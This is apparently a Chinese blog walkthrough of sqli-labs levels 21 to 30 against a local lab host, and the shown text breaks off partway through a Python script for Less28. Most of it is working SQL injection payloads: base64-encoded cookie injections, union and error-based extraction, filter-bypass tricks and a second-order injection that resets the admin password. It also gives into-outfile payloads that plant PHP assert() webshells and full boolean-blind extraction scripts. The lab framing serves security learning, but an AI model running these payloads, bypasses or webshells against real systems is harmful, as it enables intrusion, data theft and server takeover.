sqli-labs通关(less21~less30)

目录

Less21

Less22

Less23

Less24

Less25 

Less25a

Less26

Less26a

Less27

Less27a

Less28

Less28a

Less29

Less30


Less21

这关刚开始还是和Less20一样,进去是个登录的页面

 输入正确的用户名和密码之后,返回的页面有User-Agent,客户端ip地址,cookie,用户名,密码,用户id等信息

登录过程中burpsuite也是抓到两个报文,第一个是发送用户名和密码的POST报文,第二个是GET报文且携带cookie

仔细看这关的GET报文,就和上一关不一样了,Cookie中uname参数的值是base64编码的。

把uname的值粘贴到burpsuite的decoder模块,先decode as url,再decode as base64,可以看到最终结果是admin

下面开始正式开干,把admin'放到decoder里面,encode as base64

 把proxy模块中抓到的GET报文send to repeater,然后把得到的base64编码后的结果作为cookie头中uname的值发送,从报错可知闭合是')

 这关还是可以用报错注入,除了每条payload都要经过一次base64编码(如果base64编码结果包含等号还要进行url编码),再作为uname的值发送,其他还是和Less20一样。具体就不一一截图了 ,以下是爆数据的payload在base64(和url)编码之前的值:

#获取服务器上所有数据库的名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or ('
#获取pikachu数据库的所有表名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or ('
#获取pikachu数据库message表的所有列名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1) or ('
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1) or ('

最终结果如下图

 emmmmm搞完了发现这关如果和Less20一样,有注入点的地方是select语句,那么其实是可以用union注入的。。。这里用爆当前数据库做个演示:

payload是:ad') union select 1,2,database()#

先在decoder中base64编码,然后作为repeater中cookie头的uname的值发送,得到当前数据库名称security

写webshell:

payload: ad') union select 1,2,'<?php assert($_POST[less21]);?>' into outfile 'C:/less21.php'#

先base64编码再url编码,得到的结果作为cookie的uname值发送

 服务器上得到的webshell:

 本关代码也没啥可说的,和Less20的区别就是生成名为uname的cookie值时进行了base64编码,把客户端发来的cookie值代入sql语句之前进行了base64解码

Less22

这关的原理和上一关一样一样的(注入点在cookie的uname参数值,payload需要base64编码,如果编码后有等号还需要url编码),就是闭合换成双引号了。

为了弥补前面两关明明可以union注入,偏偏报错注入了的遗憾,这关用union注入来一次。

整个爆数据的编码前的payload如下:

#下面两步找列数
Cookie: uname=admin" order by 3#
Cookie: uname=admin" order by 4#
#确定哪个字段有回显
Cookie: uname=" union select 1,2,3#
#获取服务器上所有数据库的名称
Cookie: uname=" union select 1,2,group_concat(schema_name) from information_schema.schemata#
#获取pikachu数据库的所有表名称
Cookie: uname=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
#获取pikachu数据库message表的所有列名称
Cookie: uname=" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'#
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=" union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message#

最后一步:

 写webshell:

编码前payload:

Cookie: uname=" union select 1,2,'<?php assert($_POST[less22]);?>' into outfile 'C:/less22.php'#

编码:

发送报文:

服务器上写入的webshell:

 这关代码没啥可说的,和上一关的区别就闭合不一样

Less23

这关和前面三关终于不一样了,又变成GET型了。

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1   得到正常的页面,并且回显用户名和密码

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1'    得到报错的页面,并且从sql语法错误看,闭合是单引号

接着输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1'#和http://192.168.101.16/sqli-labs-master/Less-23/?id=1'-- s  发现注释符并没有起作用,返回的仍然是报语法错误的页面

看来这关过滤了注释符,需要想办法绕过这个过滤

没想找order by要怎么绕过注释符过滤,猜列数得用union select来猜了

输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1'

或者

http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2'

从返回结果可知列数不对

输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2,3'

没有报错,且显示了2和3,可见列数为3,并且第2和第3列查询结果可以被显示

 接下来就是常规的用union注入爆数据啦,payload如下:

#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3'
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3'
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),3'
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(concat(id,'^',content)) from pikachu.message),3'

最终结果:

这关受到后面的limit 0,1的影响,没法用into outfile写webshell,sqlmap也试了,写不成功,毕竟sqlmap用的也是into outfile

这关代码也没啥可说的,主要就是23到27行,把#和--删除了

Less24

这关是二阶注入,先观察页面,再看代码找注入点

首先观察一下页面,有登录和注册新用户的功能(忘记密码功能是假的)

点击New User click here?会进入注册用户的页面

输入正确的用户名和密码会进入修改用户密码的页面,比如下图以用户名admin,密码2登录

通过以上考察,可以发现本关应该有三个位置有sql语句,登录的位置是select语句,新建用户的地方是insert语句,修改密码的地方是update语句。

再看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能

登录位置代码如下,mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。

注册用户的代码如下,同样,insert语句的入参都经过了函数mysql_escape_string()的转义,没有注入点

 修改密码的代码如下,update语句中的$pass和$curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。

username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin'#或者admin'-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD='$pass' where username='admin'

因此,本关的解法可以是:

注册新用户admin'#,密码随意

以admin'#登录

 修改密码为456

 上图中点reset之后再logout,然后用用户名admin,密码456登录,可以登录成功

Less25 

这关过滤了and和or,但是只需要双写绕过即可。注意不仅仅是单词and和or,order和information中也有or

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1'

报错,根据报错信息可知闭合是单引号

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 3-- s

返回正确结果

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 4-- s

返回报错,说明输出有3列

 接下来不一一截图了,爆数据的payload如下:

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s

 最终结果:

 本关可以写webshell,payload如下:

http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,'<?php assert($_POST[less25]);?>' into outfile 'C:/less25.php'-- s

 服务器上写入的webshell:

 本关代码中,用自定义的blacklist()函数处理了输入参数$id

blacklist()函数的定义如下,用preg_replace()函数匹配and和or(i表示不区分大小写),并删除。但由于没有迭代匹配删除,所以双写可以轻松绕过。

Less25a

这关和上一关看着差不多

地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1'

发现报错了,但没有爆出具体的错误。mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有,返回如下错误说明没有查询结果,也就是说sql语句没有正确执行。

 地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1-- s

返回正确查询结果,说明本关无闭合符号。

其余和上一关套路差不多,双写绕过or和and的过滤,不多说了,上payload:

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s

最终结果:

写webshell的payload:

http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,'<?php assert($_POST[less25a]);?>' into outfile 'C:/less25a.php'-- s

服务器上被写入的webshell:

 代码不分析了,除了闭合,其他都和上一关一样

Less26

本关明面上说过滤了空格和注释符。

过滤注释符不要紧,前面关卡已经遇到过,只要构造语句把后面的引号也闭合掉就行。

绕过空格过滤常用的几种方法是:1、空白符绕过  2、多行注释/**/绕过  3、括号绕过

试了多行注释,以及几种常见的空白符(其实严谨点可以burpsuite中拿所有空白符爆破一下),都没办法绕过。

试试报错注入加括号绕过:

以爆所有数据库名称为例,需要注意这关还是过滤了and和or,并且可以用双写的方法绕过;过滤注释符之后,需要用or '1'='1'闭合单引号。payload如下:

http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1

返回结果:

爆数据过程的全部payload如下:

#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),32,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),63,31),0x7e),1))oorr'1'='1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),32,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='pikachu') anandd (table_name='message')),1,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(concat(id,'^',content))) from (pikachu.message)),1,31),0x7e),1))oorr'1'='1

写webshell就不尝试了,根据Less23的经验,由于limit 0,1没法注释掉,所以这关应该也没法写webshell。

看一下这关代码对用户输入的id参数进行过滤处理的部分:

59和60行分别过滤or和and,不区分大小写,可以用双写绕过;

61行过滤/和*,阻止了一种空格过滤的绕过方法;

62行有点搞笑,其实这边写一个短横杠就行了,没必要写两个;63行过滤#;这两行行是进行注释符过滤。

64行\s可以匹配所有空白字符;

65行没明白写在这儿是什么意思,/再61行已经可以过滤了,\不懂为何要过滤。。

Less26a

这关和上一关有两个区别:

1、不会爆出具体错误,用不了报错注入

2、闭合是')

所幸sql语句正确和错误的时候网页回显是不同的,这关可以用布尔盲注。 

爆数据的python脚本如下:

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-26a/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def Database26A():
    n = 100                                                                     #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))>"+str(j)+")anandd('1')=('1"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))="+str(i)+")anandd('1')=('1"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all databases contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1') aandnd (substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),"+str(i)+",1)='"+c+"')anandd('1')=('1"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of all databases is "+str(db))
    
def Tables26A(database):
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1') anandd (substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables is "+str(tname))


def Columns26A(database,table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))="+str(i)+")anandd('1')=('1"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1') anandd (substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') aandnd (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')anandd('1')=('1"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def Content26A(database,table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1') aandnd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")anandd('1')=('1"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1') anandd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))="+str(i)+")anandd('1')=('1"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1') aandnd (substr((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")),"+str(i)+",1)='"+c+"')anandd('1')=('1"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

结果如下:

 这关和Less23一样,limit 0,1没法过滤,没法写webshell。

源代码也不看了,和上一关核心部分一样的,只是闭合不同,并且没有print_r(mysql_error())了。

Less27

多尝试几次之后发现,本关有以下过滤:

1、过滤空格,可以用%0a绕过

2、过滤union,可以用双写绕过

3、过滤select,可以大写某些字母绕过

4、过滤注释符,绕不过,可以用and '1'='1替代

 直接上payload啦:

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a4,2,3%0aand%0a'1'='1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%0a'1'='1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand%0a'1'='1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand%0a'1'='1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-27/?id=999'%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand%0a'1'='1

最终结果:

 看一下这关代码处理用户输入的部分:

这些过滤条件感觉像是打了一套乱拳,别的不说了,这关select没法双写绕过,是因为第63行和第66行过滤了两遍select,三写就可以绕过了,当然本关payload中使用SElect来绕过更简单。

关于php中正则语法的模式修饰符,可以看:PHP: 正则表达式模式中可用的模式修饰符 - Manual

Less27a

这关简直了,和上一关除了闭合不同,其他都一样,无聊。。

payload:

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a4,2,3%0aand%0a"1"="1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%0a"1"="1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand%0a"1"="1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand%0a"1"="1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-27a/?id=999"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand%0a"1"="1

 最终结果:

源代码不看了,无聊。。。

Less28

这关不看代码的话,有点难绕。。先看代码吧

代码中先过滤/,*,-,#,空格,+,最后过滤union\s+select(且不区分大小写)

首先由于64行及之前,对空白符过滤的不充分,空格可以用其他空白符代替,比如%0a;

然后来看union select的过滤怎么绕过:

既然union select是作为一个组合过滤的,并且只过滤一次,因此可以用整体的双写绕过,比如:

http://192.168.101.16/sqli-labs-master/Less-28/?id=1')%0aunionunion%0aselect%0aselect%0a1,2,3%0aand ('1')=('1 

这样过滤的时候中心的union%0aselect会匹配到union\s+select,剩下两侧组合起来的union%0aselect

完整过程的payload如下(payload是拿前面关卡改的,其实可以更简单,比如不用括号绕过空格,而是用%0a,再比如select不需要大写绕过):

#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a4,2,3%0aand ('1')=('1
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand ('1')=('1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand ('1')=('1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand ('1')=('1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand ('1')=('1

最终结果:

这关也可以用布尔盲注,直接把Less26a的python脚本改改(and和or的双写去掉),就是本关的脚本了:

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-28/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def Database28():
    n = 100                                                                     #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1') and (length((select (group_concat(schema_name)) from (information_schema.schemata)))>"+str(j)+")and('1')=('1"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1') and (length((select (group_concat(schema_name)) from (information_schema.schemata)))="+str(i)+")and('1')=('1"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all databases contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1') and (substr((select (group_concat(schema_name)) from (information_schema.schemata)),"+str(i)+",1)='"+c+"')and('1')=('1"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of all databases is "+str(db))
    
def Tables28(database):
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1') and (length((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1') and (length((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')))="+str(i)+")and('1')=('1"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1') and (substr((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')and('1')=('1"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables is "+str(tname))


def Columns28(database,table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1') and (length((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1') and (length((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')))="+str(i)+")and('1')=('1"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1') and (substr((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')),"+str(i)+",1)='"+c+"')and('1')=('1"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def Content28(database,table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
